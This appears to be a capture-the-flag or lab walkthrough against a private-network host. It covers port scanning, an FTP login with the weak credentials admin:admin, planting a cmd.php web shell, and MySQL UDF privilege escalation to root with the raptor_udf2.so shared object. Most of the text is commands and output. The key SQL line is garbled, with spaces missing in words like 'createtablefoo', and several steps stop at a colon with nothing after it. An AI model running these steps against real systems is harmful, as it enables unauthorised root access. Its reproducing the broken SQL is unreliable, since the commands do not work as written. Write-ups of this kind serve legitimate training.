$ nmap -p- --min-rate 3000 -Pn 192.168.160.56
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 12:04 +08
Nmap scan report for 192.168.160.56
Host is up (0.17s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
5432/tcp open postgresql
8080/tcp open http-proxy
8295/tcp open unknown
FTP Weak Creds -> RCE
The FTP service has weak credentials of admin:admin:
$ ftp 192.168.160.56
Connected to 192.168.160.56.
220 (vsFTPd 3.0.3)
Name (192.168.160.56:kali): admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 2 1001 0 4096 May 26 2020 contactform
drwxr-xr-x 2 1001 0 4096 May 26 2020 css
drwxr-xr-x 3 1001 0 4096 May 26 2020 img
-rw-r--r-- 1 1001 0 23364 May 27 2020 index.php
drwxr-xr-x 2 1001 0 4096 May 26 2020 js
drwxr-xr-x 11 1001 0 4096 May 26 2020 lib
Within it, there seem to be web application folders. Since index.php is present, I placed cmd.php shell and tested it with the web service runnign on port 8080 and port 8295:
I wanted to use the UDF Raptor exploit, but we first need to find the Plugins directory and whether there are any protections over the files:
mysql> SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.01 sec)
mysql> SHOW VARIABLES LIKE 'plugin_dir';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
The above means that it is vulnerable!
This method exploits the access that the root user has over the system using MySQL, which allows for malicious shared objects to be loaded and gives an attacker RCE as root using the MySQL instance.
First, compile the exploit accordingly on the machine itself:
Then, transfer the shared object to the machine and run the following commands in MySQL:
use mysql;createtablefoo(line blob);insert into foo values(load_file('/tmp/raptor_udf2.so'));select*from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';createfunctiondo_systemreturnsinteger soname 'raptor_udf2.so';select*from mysql.func;
Afterwards, we can just execute a command as root: